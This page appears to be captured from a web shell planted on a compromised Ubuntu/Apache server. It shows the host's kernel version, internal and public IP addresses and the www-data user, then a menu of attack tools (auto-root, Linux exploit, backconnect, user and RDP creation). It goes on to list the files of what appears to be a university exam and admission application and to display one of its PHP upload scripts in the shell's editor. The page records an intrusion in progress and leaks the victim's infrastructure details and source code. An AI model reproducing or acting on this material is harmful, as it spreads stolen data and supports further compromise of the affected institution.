Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 52.14.7.103
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
mcu /
src_stop /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
DownloadExamAppFormApplication...
5.12
KB
-rwxr-xr-x
ECHblk.php
11.03
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MC_033_S1720418_A_2017_2.pdf
0
B
-rwxr-xr-x
MarkEntry-Setup.php
26.29
KB
-rwxr-xr-x
MarkEntry-Setup22.php
21.76
KB
-rwxr-xr-x
MarkEntry-SetupTEST.php
21.01
KB
-rwxr-xr-x
PrintApplicationFormPOSTOFFICE...
26.92
KB
-rwxr-xr-x
TAGMAY2013.pdf
331.03
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
UpdateCollDet.php
1.67
KB
-rwxr-xr-x
XLSXReader.php
9.31
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
7.28
KB
-rwxr-xr-x
absent_entry_setupQpold.php
7.03
KB
-rwxr-xr-x
ack_adm_application.php
55
KB
-rwxr-xr-x
ack_admentry_application.php
48.17
KB
-rwxr-xr-x
ack_application.php
7.71
KB
-rwxr-xr-x
ack_exam_app_form.php
16.56
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12.58
KB
-rwxr-xr-x
ack_exam_app_form_oldformat.ph...
12.53
KB
-rwxr-xr-x
ack_registration.php
7.77
KB
-rwxr-xr-x
ack_report.php
2.27
KB
-rwxr-xr-x
ack_rv_rt_application.php
8.55
KB
-rwxr-xr-x
ack_rv_rt_application_before_l...
6.02
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
adm_challan_entries.php
13.83
KB
-rwxr-xr-x
adm_delete_data.php
5.58
KB
-rwxr-xr-x
admapprove.php
9.37
KB
-rwxr-xr-x
admchallanpreparation.php
8.83
KB
-rwxr-xr-x
admission_entry_reg.php
39.89
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admission_sms_push.php
2.26
KB
-rwxr-xr-x
admissionapplist.php
9.15
KB
-rwxr-xr-x
admissionapplist_old_10092019....
0
B
-rwxr-xr-x
admregisterlist.php
14.43
KB
-rwxr-xr-x
admstuddate.php
6.1
KB
-rwxr-xr-x
admsumsendsms.php
6.12
KB
-rwxr-xr-x
admuploadexsheet.php
12.4
KB
-rwxr-xr-x
admuploadexsheet_07082019.php
8.79
KB
-rwxr-xr-x
ansbookcancel.php
9.49
KB
-rwxr-xr-x
answer_book_issued.php
10.34
KB
-rwxr-xr-x
applicationFormReportPOSTOFFIC...
25.94
KB
-rwxr-xr-x
apprCandidReport.php
6.95
KB
-rwxr-xr-x
approve.php
37.52
KB
-rwxr-xr-x
attendance.php
10.23
KB
-rwxr-xr-x
attendance_freez.php
8.45
KB
-rwxr-xr-x
attendance_freez_mth.php
8.24
KB
-rwxr-xr-x
attendance_freez_old.php
8.55
KB
-rwxr-xr-x
attshort.php
6.29
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.js
2.73
KB
-rwxr-xr-x
backup.php
2.87
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
basic_old.css
13.33
KB
-rwxr-xr-x
batch_close.php
4.31
KB
-rwxr-xr-x
board.php
2.71
KB
-rwxr-xr-x
boeselection.php
1.64
KB
-rwxr-xr-x
bundle_dispatch.php
3.09
KB
-rwxr-xr-x
bundle_rec_ack.php
4.06
KB
-rwxr-xr-x
bundledispatchdatewise.php
12.74
KB
-rwxr-xr-x
bundlereceive.php
1.08
KB
-rwxr-xr-x
bundlestatus.php
5.3
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
43.79
KB
-rwxr-xr-x
candidate-entry_new.php
42.85
KB
-rwxr-xr-x
candidate-entry_without_iapr_i...
34.88
KB
-rwxr-xr-x
candidate-entrybefore yearexam...
34.55
KB
-rwxr-xr-x
candidate-entrykus.php
33.23
KB
-rwxr-xr-x
candidate-entrynewformat.php
44.16
KB
-rwxr-xr-x
candidate-entryold.php
34.55
KB
-rwxr-xr-x
candidate_list.js
39.62
KB
-rwxr-xr-x
cappcontext.php
2.63
KB
-rwxr-xr-x
cconfig_wait.php
1.12
KB
-rwxr-xr-x
challan_entries.php
15.38
KB
-rwxr-xr-x
challan_preparation.php
11.69
KB
-rwxr-xr-x
changeDegree.php
1.56
KB
-rwxr-xr-x
changeMobile.php
2.43
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
cntDeclaration.php
4.12
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
coll_exam_app_form.php
981
B
-rwxr-xr-x
collbankdet.php
1.82
KB
-rwxr-xr-x
colldesp_ack.php
4
KB
-rwxr-xr-x
college.php
5.01
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxr-xr-x
college_approve.php
5.61
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
collegebank.php
1.82
KB
-rwxr-xr-x
collfundtransfer.php
2.23
KB
-rwxr-xr-x
connect.php
2.24
KB
-rwxr-xr-x
coutput.php
1.76
KB
-rwxr-xr-x
createAdmission.php
3.94
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
cronjob_sendsms.php
2.94
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
database.php
472
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
7.9
KB
-rwxr-xr-x
degree.php
6.49
KB
-rwxr-xr-x
degreeGroup.php
2
B
-rwxr-xr-x
display_details_in_grid.php
105.4
KB
-rwxr-xr-x
display_details_in_grid22.php
104.95
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.61
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
display_details_in_gridold.php
102.19
KB
-rwxr-xr-x
doc_verify.php
7.31
KB
-rwxr-xr-x
doc_verify_12102019.php
6.99
KB
-rwxr-xr-x
downloadFeeStatement.php
5.32
KB
-rwxr-xr-x
download_misc_files.php
4.59
KB
-rwxr-xr-x
download_misc_files_old.php
4.3
KB
-rwxr-xr-x
download_photo.php
3.68
KB
-rwxr-xr-x
download_photo22.php
6.83
KB
-rwxr-xr-x
download_photo_new.php
4.82
KB
-rwxr-xr-x
download_photo_sikkim.php
5.07
KB
-rwxr-xr-x
download_photoold.php
3.58
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
examAppChallan.php
7.71
KB
-rwxr-xr-x
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
forgotpassword.php
3.11
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.63
KB
-rwxr-xr-x
freeze_module_at_admin_college...
10.07
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.76
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.81
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
freezeiaprici.php
9.9
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getMessages.php
11.16
KB
-rwxr-xr-x
getdata.php
34.99
KB
-rwxr-xr-x
getdata22.php
32.91
KB
-rwxr-xr-x
getdataold.php
28.7
KB
-rwxr-xr-x
getfeeinformation.php
7.12
KB
-rwxr-xr-x
getfeeinformation_bulk.php
7.54
KB
-rwxr-xr-x
getmoduledetails.php
23.4
KB
-rwxr-xr-x
getnumword.php
7.43
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
index.php
5.06
KB
-rwxr-xr-x
json.php
33.72
KB
-rwxr-xr-x
krvw.html
1.5
KB
-rwxr-xr-x
login.php
18.39
KB
-rwxr-xr-x
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
login_wait.php
11.48
KB
-rwxr-xr-x
mascomb.php
10.02
KB
-rwxr-xr-x
mcverifydet.php
14.26
KB
-rwxr-xr-x
message_board.php
4.7
KB
-rwxr-xr-x
messagetext.php
980
B
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
89.11
KB
-rwxr-xr-x
mregistry_beforedownload.php
53.04
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
nobleRegn.php
3.96
KB
-rwxr-xr-x
payment_gateway.php
7.78
KB
-rwxr-xr-x
pclzip.lib.php
192.53
KB
-rwxr-xr-x
photoupload.php
9.28
KB
-rwxr-xr-x
post.php
5.05
KB
-rwxr-xr-x
printexamform.php
11.54
KB
-rwxr-xr-x
push_data_to_studentportal.php
1.8
KB
-rwxr-xr-x
receive_rv_rt_application.php
8.57
KB
-rwxr-xr-x
remove_exam_ack.php
3.53
KB
-rwxr-xr-x
report_admission_ticket.php
46.77
KB
-rwxr-xr-x
report_hall_ticket.php
11.18
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
11.84
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
result.php
5.06
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
7.91
KB
-rwxr-xr-x
room_allotment_datewise.php
15.59
KB
-rwxr-xr-x
room_allotment_datewise_new.ph...
15.3
KB
-rwxr-xr-x
room_allotment_old.php
16.44
KB
-rwxr-xr-x
room_allotmentnew.php
9.24
KB
-rwxr-xr-x
room_allotmentold.php
15.27
KB
-rwxr-xr-x
roomdeclaration.php
1.81
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
rvdates.php
6.46
KB
-rwxr-xr-x
sample.php
2.04
KB
-rwxr-xr-x
sectionwisepermission.php
5.53
KB
-rwxr-xr-x
sendGridMail.php
1.2
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
sendsmsapi.php
760
B
-rwxr-xr-x
sendusrandpws.php
1002
B
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
servfeehead.php
3.84
KB
-rwxr-xr-x
services.php
3.47
KB
-rwxr-xr-x
sfeehead.php
5.45
KB
-rwxr-xr-x
stringspliter.php
693
B
-rwxr-xr-x
stuIAMarksPending.php
5.92
KB
-rwxr-xr-x
student.php
55.86
KB
-rwxr-xr-x
student_14062018.php
43.9
KB
-rwxr-xr-x
student_entry.php
60.55
KB
-rwxr-xr-x
student_entry24.php
56.54
KB
-rwxr-xr-x
student_entry_14062018.php
48.28
KB
-rwxr-xr-x
student_entry_24112017.php
42.7
KB
-rwxr-xr-x
student_entryold.php
30.33
KB
-rwxr-xr-x
studentportal_remove.php
6.18
KB
-rwxr-xr-x
subjectList_display.php
11.05
KB
-rwxr-xr-x
subject_freshExam.php
19.73
KB
-rwxr-xr-x
subjectfreez.php
13.2
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
9.95
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
80.06
KB
-rwxr-xr-x
teachers.php
15.1
KB
-rwxr-xr-x
teachersOLD.php
10.33
KB
-rwxr-xr-x
teachersnew.php
16.95
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
update.php
720
B
-rwxr-xr-x
updateSection.php
4.79
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
update_query.php
334
B
-rwxr-xr-x
updateexamcnt.php
2.92
KB
-rwxr-xr-x
upload_studentPhoto.php
8.63
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
uploadzip.php
9.18
KB
-rwxr-xr-x
usersetup.php
25.11
KB
-rwxr-xr-x
usersetupold.php
24.36
KB
-rwxr-xr-x
usersubj_identification.php
5.58
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admuploadexsheet_07082019.php
<?php function replaceChars($name) { $spl_char = array("*","/","~","!","@","#","$","%","^","&",":",";","?","/","\\","_","-","'"," ",""); $link_name = strtolower(str_replace($spl_char,"_",$name)); return str_ireplace("__","_",$link_name); } function admuploadexeclsheet($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); require_once dirname(__FILE__) . '/../PHPExcel/Classes/PHPExcel/IOFactory.php'; $date = date("dmYhis"); $collcode = $_SESSION['collcode']; $file_name=replaceChars(basename($_FILES['admuploadsheet']['name'])); $path_arr=pathinfo($_FILES['admuploadsheet']['name']); $file_ext=$path_arr['extension']; //var_dump($file_ext); $folderpath = $aobj_context->main_src."/admupload/"; $temp_path = $aobj_context->main_src."/admupload/"; if(!file_exists($temp_path)) { mkdir($temp_path); } $file_path="/{$collcode}_{$date}_{$file_name}"; $temp_path.=$file_path; if($collcode == '') { $data = "Please login and try again"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } if(isset($_FILES['admuploadsheet']['name']) && $_FILES['admuploadsheet']['name'] != '') { $size=($_FILES['admuploadsheet']['size']/1024); if($size>1024) { $data="Please Upload file of size less than 1 MB"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-2,"failure"); return; } $ext = pathinfo($_FILES['admuploadsheet']['name'], PATHINFO_EXTENSION); if($ext != 'xlsx') { $data="Please Upload file xlsx format only"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-2,"failure"); return; } if(move_uploaded_file($_FILES['admuploadsheet']['tmp_name'],$temp_path)) { $data="admupload{$file_path}"; $query = "insert into admfile(fcollcode,ffilename,fuploadtime) value ('{$collcode}','{$data}',now())"; $results = $aobj_context->mobj_db->Execute($query); if(!$results) { $data = "Upload failure. Error inserting uploaded file"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } if(!file_exists($temp_path)) { $data = "Upload failure. Upload file does not exist"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } $inputFileName = $temp_path; $inputFileType = 'Excel2007'; ///////////////////// Code To convert xlsx to csv \\\\\\\\\\\\\ $objReader = PHPExcel_IOFactory::createReader($inputFileType); $objPHPExcelReader = $objReader->load($inputFileName); $loadedSheetNames = $objPHPExcelReader->getSheetNames(); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcelReader, 'CSV'); $i = 0; foreach($loadedSheetNames as $sheetIndex => $loadedSheetName) { if($i != 0) break; $objWriter->setSheetIndex($sheetIndex); $csvFile = $folderpath.$date.$loadedSheetName.'.csv'; $objWriter->setUseBOM(true); $objWriter->save($csvFile); $query = "LOAD DATA LOCAL INFILE '{$csvFile}' INTO TABLE tmpcollstud FIELDS TERMINATED BY \",\" OPTIONALLY ENCLOSED BY '\"' LINES TERMINATED BY \"\n\" IGNORE 1 LINES (@col1,@col2,@col3,@col4,@col5,@col6) set fslno=@col1, fcollcode='{$collcode}', fdegree=@col3, fname=@col4, fmobileno=@col5, femail=@col6"; // var_dump($query); $results = $aobj_context->mobj_db->Execute($query); // var_dump($results); $rows_affected = $aobj_context->mobj_db->affected_rows(); // var_dump($rows_affected); // return; if(!$results) { $data = "Upload failure. Error while loading excel data to database"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } // Delete All the blank values from table $query = "delete from tmpcollstud where fcollcode = '' or fdegree = '' or fname = '' "; $results = $aobj_context->mobj_db->Execute($query); // For second sheet if($i > 0) { // Check for the data in second sheet $query = "select count(*) as fcnt from tmpcollstud where fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->GetRow($query); if($results['fcnt'] == 0) { break; } } $query = "select distinct fdegree from tmpcollstud where fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T' and fdegree in (select distinct fdegree from degree)"; $results = $aobj_context->mobj_db->GetAll($query); if(count($results) == 0) { $query = "delete from tmpcollstud where ifnull(fimported,'') <> 'T' and fcollcode = '{$collcode}'"; // var_dump($query); $results = $aobj_context->mobj_db->GetAll($query); $data = "Upload failure. Invalid degree codes"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } $query = "update tmpcollstud set fimported = 'F' where ifnull(fimported,'') = ''"; $results = $aobj_context->mobj_db->Execute($query); // insert records with no mobile number to collstudnb $query = "insert into collstudnb(fslno, fcollcode, fdegree, fmobileno, femail, fname) select fslno, fcollcode, fdegree, fmobileno, femail, fname from tmpcollstud where replace(ifnull(tmpcollstud.fmobileno,''),' ','') = '' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // delete records in temp table with no mobilenumber $query = "delete from tmpcollstud where replace(ifnull(tmpcollstud.fmobileno,''),' ','') = '' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // check for duplicates in the file uploading $query = "insert into tmpcollstuddup select fmobileno, count(fmobileno) as fcnt from tmpcollstud where fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T' group by fmobileno having count(fmobileno) > 1"; $results = $aobj_context->mobj_db->Execute($query); // identify duplicates in file uploading $query = "update tmpcollstud a, tmpcollstuddup b set a.fdeleted = 'X' where a.fmobileno = b.fmobileno and a.fcollcode = '{$collcode}' and ifnull(a.fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // insert duplicate records of that college to collstuddup $query = "insert into collstuddup select * from tmpcollstud where fdeleted = 'X' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // delete duplicates in temp table $query = "delete from tmpcollstud where fdeleted = 'X' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // identify dulicates with previous inserted records (other than currently uploading college) $query = "update tmpcollstud, collstud set tmpcollstud.fdeleted = 'X' where collstud.fmobileno = tmpcollstud.fmobileno and collstud.fcollcode <> tmpcollstud.fcollcode and replace(ifnull(tmpcollstud.fmobileno,''),' ','') <> '' and tmpcollstud.fcollcode = '{$collcode}' and ifnull(tmpcollstud.fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // insert duplicates to collstuddup $query = "insert into collstuddup select * from tmpcollstud where fdeleted = 'X' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // identify duplicate records (overall) $query = "update tmpcollstud, collstud set tmpcollstud.fdeleted = 'X' where collstud.fmobileno = tmpcollstud.fmobileno and replace(ifnull(tmpcollstud.fmobileno,''),' ','') <> '' and tmpcollstud.fcollcode = '{$collcode}' and ifnull(tmpcollstud.fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // delete duplicate records in temp table $query = "delete from tmpcollstud where fdeleted = 'X' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // insert remaining records to collstud $query = "insert into collstud(fslno, fcollcode, fdegree, fmobileno, femail, fname, fimpdate) select fslno, fcollcode, fdegree, fmobileno, femail, fname, fimpdate from tmpcollstud where fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // Update records as imported $query = "update tmpcollstud set fimported = 'T' where fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); $i++; } $data = "Uploaded Successfully."; echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); return; } } } ?>
Close